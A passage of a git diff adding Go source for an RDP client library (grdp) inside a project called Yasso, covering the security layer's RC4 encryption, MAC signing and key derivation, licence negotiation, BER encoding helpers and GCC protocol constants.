core.WriteBytes(o.AlternateShell, buff) + core.WriteBytes(o.WorkingDir, buff) + if hasExtended { + core.WriteBytes(o.ExtendedInfo.Serialize(), buff) + } + return buff.Bytes() +} + +type SecurityHeader struct { + securityFlag uint16 + securityFlagHi uint16 +} + +func readSecurityHeader(r io.Reader) *SecurityHeader { + s := &SecurityHeader{} + s.securityFlag, _ = core.ReadUint16LE(r) + s.securityFlagHi, _ = core.ReadUint16LE(r) + return s +} + +type SEC struct { + emission.Emitter + transport core.Transport + info *RDPInfo + machineName string + clientData []interface{} + serverData []interface{} + + enableEncryption bool + //Enable Secure Mac generation + enableSecureCheckSum bool + //counter before update + nbEncryptedPacket int + nbDecryptedPacket int + + currentDecrytKey []byte + currentEncryptKey []byte + + //current rc4 tab + decryptRc4 *rc4.Cipher + encryptRc4 *rc4.Cipher + + macKey []byte +} + +func NewSEC(t core.Transport) *SEC { + sec := &SEC{ + *emission.NewEmitter(), + t, + NewRDPInfo(), + "", + nil, + nil, + false, + false, + 0, + 0, + nil, + nil, + nil, + nil, + nil, + } + + t.On("close", func() { + sec.Emit("close") + }).On("error", func(err error) { + sec.Emit("error", err) + }) + return sec +} + +func (s *SEC) Read(data []byte) (n int, err error) { + return s.transport.Read(data) +} + +func (s *SEC) Write(b []byte) (n int, err error) { + if !s.enableEncryption { + return s.transport.Write(b) + } + + var flag uint16 = ENCRYPT + if s.enableSecureCheckSum { + flag |= SECURE_CHECKSUM + } + + return s.sendFlagged(flag, b) +} + +func (s *SEC) Close() error { + return s.transport.Close() +} + +func (s *SEC) sendFlagged(flag uint16, data []byte) (n int, err error) { + glog.Debug("sendFlagged:", hex.EncodeToString(data)) + + if flag&ENCRYPT != 0 { + data = s.writeEncryptedPayload(data, flag&SECURE_CHECKSUM != 0) + } + + buff := &bytes.Buffer{} + core.WriteUInt16LE(flag, buff) + core.WriteUInt16LE(0, buff) + core.WriteBytes(data, buff) + + glog.Debug("sendFlagged end:", hex.EncodeToString(buff.Bytes())) + + return s.transport.Write(buff.Bytes()) +} + +/* +@see: http://msdn.microsoft.com/en-us/library/cc241995.aspx +@param macSaltKey: {str} mac key +@param data: {str} data to sign +@return: {str} signature +*/ +func macData(macSaltKey, data []byte) []byte { + sha1Digest := sha1.New() + md5Digest := md5.New() + + b := &bytes.Buffer{} + core.WriteUInt32LE(uint32(len(data)), b) + + sha1Digest.Write(macSaltKey) + for i := 0; i < 40; i++ { + sha1Digest.Write([]byte("\x36")) + } + + sha1Digest.Write(b.Bytes()) + sha1Digest.Write(data) + + sha1Sig := sha1Digest.Sum(nil) + + md5Digest.Write(macSaltKey) + for i := 0; i < 48; i++ { + md5Digest.Write([]byte("\x5c")) + } + + md5Digest.Write(sha1Sig) + + return md5Digest.Sum(nil) +} +func (s *SEC) readEncryptedPayload(data []byte, checkSum bool) []byte { + r := bytes.NewReader(data) + sign, _ := core.ReadBytes(8, r) + glog.Info("read sign:", sign) + encryptedPayload, _ := core.ReadBytes(r.Len(), r) + if s.decryptRc4 == nil { + s.decryptRc4, _ = rc4.NewCipher(s.currentDecrytKey) + } + s.nbDecryptedPacket++ + glog.Info("nbDecryptedPacket:", s.nbDecryptedPacket) + plaintext := make([]byte, len(encryptedPayload)) + s.decryptRc4.XORKeyStream(plaintext, encryptedPayload) + + return plaintext + +} +func (s *SEC) writeEncryptedPayload(data []byte, checkSum bool) []byte { + defer func() { + if e := recover(); e != nil { + err := errors.New(fmt.Sprint("write encrypted payload error: ", e)) + glog.Debug(err, e) + return + } + }() + + if s.nbEncryptedPacket == 4096 { + + } + + if checkSum { + return []byte{} + } + + s.nbEncryptedPacket++ + glog.Info("nbEncryptedPacket:", s.nbEncryptedPacket) + b := &bytes.Buffer{} + + sign := macData(s.macKey, data)[:8] + if s.encryptRc4 == nil { + s.encryptRc4, _ = rc4.NewCipher(s.currentEncryptKey) + } + + plaintext := make([]byte, len(data)) + s.encryptRc4.XORKeyStream(plaintext, data) + b.Write(sign) + b.Write(plaintext) + glog.Debug("sign:", hex.EncodeToString(sign), "plaintext:", hex.EncodeToString(plaintext)) + return b.Bytes() +} + +type Client struct { + *SEC + userId uint16 + channelId uint16 + //initialise decrypt and encrypt keys + initialDecrytKey []byte + initialEncryptKey []byte + + fastPathListener core.FastPathListener +} + +func NewClient(t core.Transport) *Client { + c := &Client{ + SEC: NewSEC(t), + } + t.On("connect", c.connect) + return c +} + +func (c *Client) SetClientAutoReconnect(id uint32, random []byte) { + auto := NewClientAutoReconnect(id, random) + c.info.SetClientAutoReconnect(auto) +} + +func (c *Client) SetAlternateShell(shell string) { + buff := &bytes.Buffer{} + for _, ch := range utf16.Encode([]rune(shell)) { + core.WriteUInt16LE(ch, buff) + } + core.WriteUInt16LE(0, buff) + c.info.AlternateShell = buff.Bytes() +} + +func (c *Client) SetUser(user string) { + buff := &bytes.Buffer{} + for _, ch := range utf16.Encode([]rune(user)) { + core.WriteUInt16LE(ch, buff) + } + core.WriteUInt16LE(0, buff) + c.info.UserName = buff.Bytes() +} + +func (c *Client) SetPwd(pwd string) { + buff := &bytes.Buffer{} + for _, ch := range utf16.Encode([]rune(pwd)) { + core.WriteUInt16LE(ch, buff) + } + core.WriteUInt16LE(0, buff) + c.info.Password = buff.Bytes() +} + +func (c *Client) SetDomain(domain string) { + buff := &bytes.Buffer{} + for _, ch := range utf16.Encode([]rune(domain)) { + core.WriteUInt16LE(ch, buff) + } + core.WriteUInt16LE(0, buff) + c.info.Domain = buff.Bytes() +} + +func (c *Client) connect(clientData []interface{}, serverData []interface{}, userId uint16, channels []t125.MCSChannelInfo) { + glog.Debug("sec on connect:", clientData) + glog.Debug("sec on connect:", serverData) + glog.Debug("sec on connect:", userId) + glog.Debug("sec on connect:", channels) + glog.Debug("clientData:", clientData) + glog.Debug("serverData:", serverData) + c.clientData = clientData + c.serverData = serverData + c.userId = userId + for _, channel := range channels { + glog.Debug("channel:", channel.Name, channel.ID) + if channel.Name == "global" { + c.channelId = channel.ID + break + } + } + c.enableEncryption = c.ClientCoreData().ServerSelectedProtocol == 0 + + if c.enableEncryption { + c.sendClientRandom() + } + + c.sendInfoPkt() + c.transport.Once("global", c.recvLicenceInfo) +} + +func (c *Client) ClientCoreData() *gcc.ClientCoreData { + return c.clientData[0].(*gcc.ClientCoreData) +} +func (c *Client) ClientSecurityData() *gcc.ClientSecurityData { + return c.clientData[1].(*gcc.ClientSecurityData) +} +func (c *Client) ClientNetworkData() *gcc.ClientNetworkData { + return c.clientData[2].(*gcc.ClientNetworkData) +} + +func (c *Client) serverCoreData() *gcc.ServerCoreData { + return c.serverData[0].(*gcc.ServerCoreData) +} +func (c *Client) ServerSecurityData() *gcc.ServerSecurityData { + return c.serverData[1].(*gcc.ServerSecurityData) +} + +/* +@summary: generate 40 bits data from 128 bits data +@param data: {str} 128 bits data +@return: {str} 40 bits data +@see: http://msdn.microsoft.com/en-us/library/cc240785.aspx +*/ +//func gen40bits(data string)string{ +// return "\xd1\x26\x9e" + data[:8][-5:] +//} +/* +@summary: generate 56 bits data from 128 bits data +@param data: {str} 128 bits data +@return: {str} 56 bits data +@see: http://msdn.microsoft.com/en-us/library/cc240785.aspx +*/ +//func gen56bits(data string) string{ +// return "\xd1" + data[:8][-7:] +//} +/* + @summary: Generate particular signature from combination of sha1 and md5 + @see: http://msdn.microsoft.com/en-us/library/cc241992.aspx + @param inputData: strange input (see doc) + @param salt: salt for context call + @param salt1: another salt (ex : client random) + @param salt2: another another salt (ex: server random) + @return : MD5(Salt + SHA1(Input + Salt + Salt1 + Salt2)) +*/ +func saltedHash(inputData, salt, salt1, salt2 []byte) []byte { + sha1Digest := sha1.New() + md5Digest := md5.New() + + sha1Digest.Write(inputData) + sha1Digest.Write(salt[:48]) + sha1Digest.Write(salt1) + sha1Digest.Write(salt2) + sha1Sig := sha1Digest.Sum(nil) + + md5Digest.Write(salt[:48]) + md5Digest.Write(sha1Sig) + + return md5Digest.Sum(nil)[:16] +} + +/* +@summary: MD5(in0[:16] + in1[:32] + in2[:32]) +@param key: in 16 +@param random1: in 32 +@param random2: in 32 +@return MD5(in0[:16] + in1[:32] + in2[:32]) +*/ +func finalHash(key, random1, random2 []byte) []byte { + md5Digest := md5.New() + md5Digest.Write(key) + md5Digest.Write(random1) + md5Digest.Write(random2) + return md5Digest.Sum(nil) +} + +/* +@summary: Generate master secret +@param secret: {str} secret +@param clientRandom : {str} client random +@param serverRandom : {str} server random +@see: http://msdn.microsoft.com/en-us/library/cc241992.aspx +*/ +func masterSecret(secret, random1, random2 []byte) []byte { + sh1 := saltedHash([]byte("A"), secret, random1, random2) + sh2 := saltedHash([]byte("BB"), secret, random1, random2) + sh3 := saltedHash([]byte("CCC"), secret, random1, random2) + ms := bytes.NewBuffer(nil) + ms.Write(sh1) + ms.Write(sh2) + ms.Write(sh3) + return ms.Bytes() +} + +/* +@summary: Generate master secret +@param secret: secret +@param clientRandom : client random +@param serverRandom : server random +*/ +func sessionKeyBlob(secret, random1, random2 []byte) []byte { + sh1 := saltedHash([]byte("X"), secret, random1, random2) + sh2 := saltedHash([]byte("YY"), secret, random1, random2) + sh3 := saltedHash([]byte("ZZZ"), secret, random1, random2) + ms := bytes.NewBuffer(nil) + ms.Write(sh1) + ms.Write(sh2) + ms.Write(sh3) + return ms.Bytes() + +} +func generateKeys(clientRandom, serverRandom []byte, method uint32) ([]byte, []byte, []byte) { + b := &bytes.Buffer{} + b.Write(clientRandom[:24]) + b.Write(serverRandom[:24]) + preMasterHash := b.Bytes() + glog.Info("preMasterHash:", string(preMasterHash)) + + masterHash := masterSecret(preMasterHash, clientRandom, serverRandom) + glog.Info("masterHash:", hex.EncodeToString(masterHash)) + + sessionKey := sessionKeyBlob(masterHash, clientRandom, serverRandom) + glog.Info("sessionKey:", hex.EncodeToString(sessionKey)) + + macKey128 := sessionKey[:16] + initialFirstKey128 := finalHash(sessionKey[16:32], clientRandom, serverRandom) + initialSecondKey128 := finalHash(sessionKey[32:48], clientRandom, serverRandom) + + glog.Debug("macKey128:", hex.EncodeToString(macKey128)) + glog.Debug("FirstKey128:", hex.EncodeToString(initialFirstKey128)) + glog.Debug("SecondKey128:", hex.EncodeToString(initialSecondKey128)) + //generate valid key + if method == gcc.ENCRYPTION_FLAG_40BIT { + //return gen40bits(macKey128), gen40bits(initialFirstKey128), gen40bits(initialSecondKey128) + } else if method == gcc.ENCRYPTION_FLAG_56BIT { + //return gen56bits(macKey128), gen56bits(initialFirstKey128), gen56bits(initialSecondKey128) + } //else if method == gcc.ENCRYPTION_FLAG_128BIT{ + return macKey128, initialFirstKey128, initialSecondKey128 + //} +} + +type ClientSecurityExchangePDU struct { + Length uint32 `struc:"little"` + EncryptedClientRandom []byte `struc:"little"` + Padding []byte `struc:"[8]byte"` +} + +func (e *ClientSecurityExchangePDU) serialize() []byte { + buff := &bytes.Buffer{} + core.WriteUInt32LE(e.Length, buff) + core.WriteBytes(e.EncryptedClientRandom, buff) + core.WriteBytes(e.Padding, buff) + + return buff.Bytes() +} +func (c *Client) sendClientRandom() { + defer func() { + if e := recover(); e != nil { + err := errors.New(fmt.Sprint("send client random error: ", e)) + glog.Debug(err, e) + _ = c.Close() + return + } + }() + + glog.Info("send Client Random") + + clientRandom := core.Random(32) + glog.Info("clientRandom:", string(clientRandom)) + + serverRandom := c.ServerSecurityData().ServerRandom + glog.Info("ServerRandom:", string(serverRandom)) + + c.macKey, c.initialDecrytKey, c.initialEncryptKey = generateKeys(clientRandom, + serverRandom, c.ServerSecurityData().EncryptionMethod) + + //initialize keys + c.currentDecrytKey = c.initialDecrytKey + c.currentEncryptKey = c.initialEncryptKey + + //verify certificate + if !c.ServerSecurityData().ServerCertificate.CertData.Verify() { + glog.Warn("Cannot verify server identity") + } + + ePublicKey, mPublicKey := c.ServerSecurityData().ServerCertificate.CertData.GetPublicKey() + b := new(big.Int).SetBytes(core.Reverse(mPublicKey)) + e := new(big.Int).SetInt64(int64(ePublicKey)) + d := new(big.Int).SetBytes(core.Reverse(clientRandom)) + r := new(big.Int).Exp(d, e, b) + var ret []byte + if len(b.Bytes()) > 0 { + if len(r.Bytes()) < len(b.Bytes()) { + ret = r.Bytes()[:len(r.Bytes())] + } else { + ret = r.Bytes()[:len(b.Bytes())] + } + } else { + ln := len(r.Bytes()) + if ln < 1 { + ln = 1 + } + ret = r.Bytes()[:ln] + } + message := ClientSecurityExchangePDU{} + message.EncryptedClientRandom = core.Reverse(ret) + message.Length = uint32(len(message.EncryptedClientRandom) + 8) + message.Padding = make([]byte, 8) + + glog.Debug("message:", message) + + c.sendFlagged(EXCHANGE_PKT, message.serialize()) +} +func (c *Client) sendInfoPkt() { + var secFlag uint16 = INFO_PKT + if c.enableEncryption { + secFlag |= ENCRYPT + } + + glog.Debug("RdpVersion:", c.ClientCoreData().RdpVersion, ":", gcc.RDP_VERSION_5_PLUS) + c.sendFlagged(secFlag, c.info.Serialize(c.ClientCoreData().RdpVersion == gcc.RDP_VERSION_5_PLUS)) +} + +func (c *Client) recvLicenceInfo(s []byte) { + glog.Debug("sec recvLicenceInfo", hex.EncodeToString(s)) + r := bytes.NewReader(s) + h := readSecurityHeader(r) + if (h.securityFlag & LICENSE_PKT) == 0 { + c.Emit("error", errors.New("NODE_RDP_PROTOCOL_PDU_SEC_BAD_LICENSE_HEADER")) + return + } + + p := lic.ReadLicensePacket(r) + switch p.BMsgtype { + case lic.NEW_LICENSE: + glog.Info("sec NEW_LICENSE") + c.Emit("success") + goto connect + case lic.ERROR_ALERT: + message := p.LicensingMessage.(*lic.ErrorMessage) + glog.Info("sec ERROR_ALERT and ErrorCode:", message.DwErrorCode) + if message.DwErrorCode == lic.STATUS_VALID_CLIENT && message.DwStateTransaction == lic.ST_NO_TRANSITION { + goto connect + } + goto retry + case lic.LICENSE_REQUEST: + glog.Info("sec LICENSE_REQUEST") + c.sendClientNewLicenseRequest(p.LicensingMessage.([]byte)) + goto retry + case lic.PLATFORM_CHALLENGE: + glog.Info("sec PLATFORM_CHALLENGE") + c.sendClientChallengeResponse(p.LicensingMessage.([]byte)) + goto retry + default: + glog.Error("Not a valid license packet") + c.Emit("error", errors.New("Not a valid license packet")) + return + } + +connect: + c.transport.On("global", c.recvData) + //c.Emit("connect", c.clientData[0].(*gcc.ClientCoreData), c.serverData[0].(*gcc.ServerCoreData), c.userId, c.channelId) + c.Emit("connect", c.clientData[0].(*gcc.ClientCoreData), c.userId, c.channelId) + return + +retry: + c.transport.Once("global", c.recvLicenceInfo) + return +} + +func (c *Client) sendClientNewLicenseRequest(data []byte) { + var req lic.ServerLicenseRequest + struc.Unpack(bytes.NewReader(data), &req) + + var sc gcc.ServerCertificate + if c.ServerSecurityData().ServerCertificate.DwVersion != 0 { + sc = c.ServerSecurityData().ServerCertificate + } else { + rd := bytes.NewReader(req.ServerCertificate.BlobData) + //err := sc.Unpack(rd) + err := struc.Unpack(rd, &req) + if err != nil { + glog.Error(err) + return + } + } + + serverRandom := req.ServerRandom + clientRandom := core.Random(32) + preMasterSecret := core.Random(48) + masSecret := masterSecret(preMasterSecret, clientRandom, serverRandom) + sessionKeyBlob := masterSecret(masSecret, serverRandom, clientRandom) + c.macKey = sessionKeyBlob[:16] + c.initialDecrytKey = finalHash(sessionKeyBlob[16:32], clientRandom, serverRandom) + + //format message + message := &lic.ClientNewLicenseRequest{} + message.ClientRandom = clientRandom + + buff := &bytes.Buffer{} + + ePublicKey, mPublicKey := sc.CertData.GetPublicKey() + b := new(big.Int).SetBytes(core.Reverse(mPublicKey)) + e := new(big.Int).SetInt64(int64(ePublicKey)) + d := new(big.Int).SetBytes(core.Reverse(clientRandom)) + r := new(big.Int).Exp(d, e, b) + var ret []byte + if len(b.Bytes()) > 0 { + ret = r.Bytes()[:len(b.Bytes())] + } else { + ln := len(r.Bytes()) + if ln < 1 { + ln = 1 + } + ret = r.Bytes()[:ln] + } + buff.Write(core.Reverse(ret)) + buff.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + message.EncryptedPreMasterSecret.BlobData = buff.Bytes() + + buff.Reset() + buff.Write(c.ClientCoreData().ClientName[:]) + buff.Write([]byte{0x00}) + message.ClientMachineName.BlobData = buff.Bytes() + + buff.Reset() + buff.Write(c.info.UserName) + buff.Write([]byte{0x00}) + message.ClientUserName.BlobData = buff.Bytes() + + buff.Reset() + struc.Pack(buff, message) + + c.sendFlagged(LICENSE_PKT, b.Bytes()) + +} + +func (c *Client) sendClientChallengeResponse(data []byte) { + var pc lic.ServerPlatformChallenge + struc.Unpack(bytes.NewReader(data), &pc) + + serverEncryptedChallenge := pc.EncryptedPlatformChallenge.BlobData + //decrypt server challenge + //it should be TEST word in unicode format + rc, _ := rc4.NewCipher(c.initialDecrytKey) + serverChallenge := make([]byte, 20) + rc.XORKeyStream(serverChallenge, serverEncryptedChallenge) + //if serverChallenge != "T\x00E\x00S\x00T\x00\x00\x00": + //raise InvalidExpectedDataException("bad license server challenge") + + //generate hwid + b := &bytes.Buffer{} + b.Write(c.ClientCoreData().ClientName[:]) + b.Write(c.info.UserName) + for i := 0; i < 2; i++ { + b.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + } + hwid := b.Bytes()[:20] + + encryptedHWID := make([]byte, 20) + rc.XORKeyStream(encryptedHWID, hwid) + + b.Reset() + b.Write(serverChallenge) + b.Write(hwid) + + message := &lic.ClientPLatformChallengeResponse{} + message.EncryptedPlatformChallengeResponse.BlobData = serverEncryptedChallenge + message.EncryptedHWID.BlobData = encryptedHWID + message.MACData = macData(c.macKey, b.Bytes())[:16] + + b.Reset() + struc.Pack(b, message) + c.sendFlagged(LICENSE_PKT, b.Bytes()) +} + +func (c *Client) recvData(s []byte) { + glog.Debug("sec recvData", hex.EncodeToString(s)) + if !c.enableEncryption { + c.Emit("data", s) + return + } + + r := bytes.NewReader(s) + securityFlag, _ := core.ReadUint16LE(r) + _, _ = core.ReadUint16LE(r) //securityFlagHi + s1, _ := core.ReadBytes(r.Len(), r) + if securityFlag&ENCRYPT != 0 { + data := c.readEncryptedPayload(s1, securityFlag&SECURE_CHECKSUM != 0) + c.Emit("data", data) + } +} +func (c *Client) SetFastPathListener(f core.FastPathListener) { + c.fastPathListener = f +} + +func (c *Client) RecvFastPath(secFlag byte, s []byte) { + data := s + if c.enableEncryption && secFlag&FASTPATH_OUTPUT_ENCRYPTED != 0 { + data = c.readEncryptedPayload(s, secFlag&FASTPATH_OUTPUT_SECURE_CHECKSUM != 0) + } + c.fastPathListener.RecvFastPath(secFlag, data) +} diff --git a/pkg/grdp/protocol/t125/ber/ber.go b/pkg/grdp/protocol/t125/ber/ber.go new file mode 100644 index 0000000..66307ab --- /dev/null +++ b/pkg/grdp/protocol/t125/ber/ber.go @@ -0,0 +1,189 @@ +package ber + +import ( + "errors" + "fmt" + "io" + + "Yasso/pkg/grdp/core" +) + +const ( + CLASS_MASK uint8 = 0xC0 + CLASS_UNIV = 0x00 + CLASS_APPL = 0x40 + CLASS_CTXT = 0x80 + CLASS_PRIV = 0xC0 +) + +const ( + PC_MASK uint8 = 0x20 + PC_PRIMITIVE = 0x00 + PC_CONSTRUCT = 0x20 +) + +const ( + TAG_MASK uint8 = 0x1F + TAG_BOOLEAN = 0x01 + TAG_INTEGER = 0x02 + TAG_BIT_STRING = 0x03 + TAG_OCTET_STRING = 0x04 + TAG_OBJECT_IDENFIER = 0x06 + TAG_ENUMERATED = 0x0A + TAG_SEQUENCE = 0x10 + TAG_SEQUENCE_OF = 0x10 +) + +func berPC(pc bool) uint8 { + if pc { + return PC_CONSTRUCT + } + return PC_PRIMITIVE +} + +func ReadEnumerated(r io.Reader) (uint8, error) { + if !ReadUniversalTag(TAG_ENUMERATED, false, r) { + return 0, errors.New("invalid ber tag") + } + length, err := ReadLength(r) + if err != nil { + return 0, err + } + if length != 1 { + return 0, errors.New(fmt.Sprintf("enumerate size is wrong, get %v, expect 1", length)) + } + return core.ReadUInt8(r) +} + +func ReadUniversalTag(tag uint8, pc bool, r io.Reader) bool { + bb, _ := core.ReadUInt8(r) + return bb == (CLASS_UNIV|berPC(pc))|(TAG_MASK&tag) +} + +func WriteUniversalTag(tag uint8, pc bool, w io.Writer) { + core.WriteUInt8((CLASS_UNIV|berPC(pc))|(TAG_MASK&tag), w) +} + +func ReadLength(r io.Reader) (int, error) { + ret := 0 + size, _ := core.ReadUInt8(r) + if size&0x80 > 0 { + size = size &^ 0x80 + if size == 1 { + r, err := core.ReadUInt8(r) + if err != nil { + return 0, err + } + ret = int(r) + } else if size == 2 { + r, err := core.ReadUint16BE(r) + if err != nil { + return 0, err + } + ret = int(r) + } else { + return 0, errors.New("BER length may be 1 or 2") + } + } else { + ret = int(size) + } + return ret, nil +} + +func WriteLength(size int, w io.Writer) { + if size > 0x7f { + core.WriteUInt8(0x82, w) + core.WriteUInt16BE(uint16(size), w) + } else { + core.WriteUInt8(uint8(size), w) + } +} + +func ReadInteger(r io.Reader) (int, error) { + if !ReadUniversalTag(TAG_INTEGER, false, r) { + return 0, errors.New("Bad integer tag") + } + size, _ := ReadLength(r) + switch size { + case 1: + num, _ := core.ReadUInt8(r) + return int(num), nil + case 2: + num, _ := core.ReadUint16BE(r) + return int(num), nil + case 3: + integer1, _ := core.ReadUInt8(r) + integer2, _ := core.ReadUint16BE(r) + return int(integer2) + int(integer1<<16), nil + case 4: + num, _ := core.ReadUInt32BE(r) + return int(num), nil + default: + return 0, errors.New("wrong size") + } +} + +func WriteInteger(n int, w io.Writer) { + WriteUniversalTag(TAG_INTEGER, false, w) + if n <= 0xff { + WriteLength(1, w) + core.WriteUInt8(uint8(n), w) + } else if n <= 0xffff { + WriteLength(2, w) + core.WriteUInt16BE(uint16(n), w) + } else { + WriteLength(4, w) + core.WriteUInt32BE(uint32(n), w) + } +} + +func WriteOctetstring(str string, w io.Writer) { + WriteUniversalTag(TAG_OCTET_STRING, false, w) + WriteLength(len(str), w) + core.WriteBytes([]byte(str), w) +} + +func WriteBoolean(b bool, w io.Writer) { + bb := uint8(0) + if b { + bb = uint8(0xff) + } + WriteUniversalTag(TAG_BOOLEAN, false, w) + WriteLength(1, w) + core.WriteUInt8(bb, w) +} + +func ReadApplicationTag(tag uint8, r io.Reader) (int, error) { + bb, _ := core.ReadUInt8(r) + if tag > 30 { + if bb != (CLASS_APPL|PC_CONSTRUCT)|TAG_MASK { + return 0, errors.New("ReadApplicationTag invalid data") + } + bb, _ := core.ReadUInt8(r) + if bb != tag { + return 0, errors.New("ReadApplicationTag bad tag") + } + } else { + if bb != (CLASS_APPL|PC_CONSTRUCT)|(TAG_MASK&tag) { + return 0, errors.New("ReadApplicationTag invalid data2") + } + } + return ReadLength(r) +} + +func WriteApplicationTag(tag uint8, size int, w io.Writer) { + if tag > 30 { + core.WriteUInt8((CLASS_APPL|PC_CONSTRUCT)|TAG_MASK, w) + core.WriteUInt8(tag, w) + WriteLength(size, w) + } else { + core.WriteUInt8((CLASS_APPL|PC_CONSTRUCT)|(TAG_MASK&tag), w) + WriteLength(size, w) + } +} + +func WriteEncodedDomainParams(data []byte, w io.Writer) { + WriteUniversalTag(TAG_SEQUENCE, true, w) + WriteLength(len(data), w) + core.WriteBytes(data, w) +} diff --git a/pkg/grdp/protocol/t125/gcc/gcc.go b/pkg/grdp/protocol/t125/gcc/gcc.go new file mode 100644 index 0000000..0c93ce7 --- /dev/null +++ b/pkg/grdp/protocol/t125/gcc/gcc.go @@ -0,0 +1,568 @@ +package gcc + +import ( + "bytes" + "errors" + "io" + "os" + + "Yasso/pkg/grdp/glog" + + "Yasso/pkg/grdp/core" + "Yasso/pkg/grdp/protocol/t125/per" + "github.com/lunixbochs/struc" +) + +var t124_02_98_oid = []byte{0, 0, 20, 124, 0, 1} +var h221_cs_key = "Duca" +var h221_sc_key = "McDn" + +/** + * @see http://msdn.microsoft.com/en-us/library/cc240509.aspx + */ +type Message uint16 + +const ( + //server -> client + SC_CORE Message = 0x0C01 + SC_SECURITY = 0x0C02 + SC_NET = 0x0C03 + //client -> server + CS_CORE = 0xC001 + CS_SECURITY = 0xC002 + CS_NET = 0xC003 + CS_CLUSTER = 0xC004 + CS_MONITOR = 0xC005 +) + +/** + * @see http://msdn.microsoft.com/en-us/library/cc240510.aspx + */ +type ColorDepth uint16 + +const ( + RNS_UD_COLOR_8BPP ColorDepth = 0xCA01 + RNS_UD_COLOR_16BPP_555 = 0xCA02 + RNS_UD_COLOR_16BPP_565 = 0xCA03 + RNS_UD_COLOR_24BPP = 0xCA04 +) + +/** + * @see http://msdn.microsoft.com/en-us/library/cc240510.aspx + */ +type HighColor uint16 + +const ( + HIGH_COLOR_4BPP HighColor = 0x0004 + HIGH_COLOR_8BPP = 0x0008 + HIGH_COLOR_15BPP = 0x000f + HIGH_COLOR_16BPP = 0x0010 + HIGH_COLOR_24BPP = 0x0018 +) + +/** + * @see http://msdn.microsoft.com/en-us/library/cc240510.aspx + */ +type Support uint16 + +const ( + RNS_UD_24BPP_SUPPORT uint16 = 0x0001 + RNS_UD_16BPP_SUPPORT = 0x0002 + RNS_UD_15BPP_SUPPORT = 0x0004 + RNS_UD_32BPP_SUPPORT = 0x0008 +) + +/** + * @see http://msdn.microsoft.com/en-us/library/cc240510.aspx + */ +type CapabilityFlag uint16 + +const ( + RNS_UD_CS_SUPPORT_ERRINFO_PDU uint16 = 0x0001 + RNS_UD_CS_WANT_32BPP_SESSION = 0x0002 + RNS_UD_CS_SUPPORT_STATUSINFO_PDU = 0x0004 + RNS_UD_CS_STRONG_ASYMMETRIC_KEYS = 0x0008 + RNS_UD_CS_UNUSED = 0x0010 + RNS_UD_CS_VALID_CONNECTION_TYPE = 0x0020 + RNS_UD_CS_SUPPORT_MONITOR_LAYOUT_PDU = 0x0040 + RNS_UD_CS_SUPPORT_NETCHAR_AUTODETECT = 0x0080 + RNS_UD_CS_SUPPORT_DYNVC_GFX_PROTOCOL = 0x0100 + RNS_UD_CS_SUPPORT_DYNAMIC_TIME_ZONE = 0x0200 + RNS_UD_CS_SUPPORT_HEARTBEAT_PDU = 0x0400 +) + +/** + * @see http://msdn.microsoft.com/en-us/library/cc240510.aspx + */ +type ConnectionType uint8 + +const ( + CONNECTION_TYPE_MODEM ConnectionType = 0x01 + CONNECTION_TYPE_BROADBAND_LOW = 0x02 + CONNECTION_TYPE_SATELLITEV = 0x03 + CONNECTION_TYPE_BROADBAND_HIGH = 0x04 + CONNECTION_TYPE_WAN = 0x05 + CONNECTION_TYPE_LAN = 0x06 + CONNECTION_TYPE_AUTODETECT = 0x07 +) + +/** + * @see http://msdn.microsoft.com/en-us/library/cc240510.aspx + */ +type VERSION uint32 + +const ( + RDP_VERSION_4 VERSION = 0x00080001 + RDP_VERSION_5_PLUS = 0x00080004 +) + +type Sequence uint16 + +const ( + RNS_UD_SAS_DEL Sequence = 0xAA03 +) + +/** + * @see http://msdn.microsoft.com/en-us/library/cc240511.aspx + */ +type EncryptionMethod uint32 + +const ( + ENCRYPTION_FLAG_40BIT uint32 = 0x00000001 + ENCRYPTION_FLAG_128BIT = 0x00000002 + ENCRYPTION_FLAG_56BIT = 0x00000008 + FIPS_ENCRYPTION_FLAG = 0x00000010 +) + +/** + * @see http://msdn.microsoft.com/en-us/library/cc240518.aspx + */ +type EncryptionLevel uint32 + +const ( + ENCRYPTION_LEVEL_NONE EncryptionLevel = 0x00000000 + ENCRYPTION_LEVEL_LOW = 0x00000001 + ENCRYPTION_LEVEL_CLIENT_COMPATIBLE = 0x00000002 + ENCRYPTION_LEVEL_HIGH = 0x00000003 + ENCRYPTION_LEVEL_FIPS = 0x00000004 +) + +/** + * @see http://msdn.microsoft.com/en-us/library/cc240513.aspx + */ +type ChannelOptions uint32 + +const ( + CHANNEL_OPTION_INITIALIZED ChannelOptions = 0x80000000 + CHANNEL_OPTION_ENCRYPT_RDP = 0x40000000 + CHANNEL_OPTION_ENCRYPT_SC = 0x20000000 + CHANNEL_OPTION_ENCRYPT_CS = 0x10000000 + CHANNEL_OPTION_PRI_HIGH = 0x08000000 + CHANNEL_OPTION_PRI_MED = 0x04000000 + CHANNEL_OPTION_PRI_LOW = 0x02000000 + CHANNEL_OPTION_COMPRESS_RDP = 0x00800000 + CHANNEL_OPTION_COMPRESS = 0x00400000 + CHANNEL_OPTION_SHOW_PROTOCOL = 0x00200000 + REMOTE_CONTROL_PERSISTENT = 0x00100000 +) + +/** + * IBM_101_102_KEYS is the most common keyboard type + */ +type KeyboardType uint32 + +const ( + KT_IBM_PC_XT_83_KEY KeyboardType = 0x00000001 + KT_OLIVETTI = 0x00000002 + KT_IBM_PC_AT_84_KEY = 0x00000003 + KT_IBM_101_102_KEYS = 0x00000004 + KT_NOKIA_1050 = 0x00000005 + KT_NOKIA_9140 = 0x00000006 + KT_JAPANESE = 0x00000007 +) + +/** + * @see http://technet.microsoft.com/en-us/library/cc766503%28WS.10%29.aspx + */ +type KeyboardLayout uint32 + +const ( + ARABIC KeyboardLayout = 0x00000401 + BULGARIAN = 0x00000402 + CHINESE_US_KEYBOARD = 0x00000404 + CZECH = 0x00000405 + DANISH = 0x00000406 + GERMAN = 0x00000407 + GREEK = 0x00000408 + US = 0x00000409 + SPANISH = 0x0000040a + FINNISH = 0x0000040b + FRENCH = 0x0000040c + HEBREW = 0x0000040d + HUNGARIAN = 0x0000040e + ICELANDIC = 0x0000040f + ITALIAN = 0x00000410 + JAPANESE = 0x00000411 + KOREAN = 0x00000412 + DUTCH = 0x00000413 + NORWEGIAN = 0x00000414 +) + +/** + * @see http://msdn.microsoft.com/en-us/library/cc240521.aspx + */ +type CertificateType uint32 + +const ( + CERT_CHAIN_VERSION_1 CertificateType = 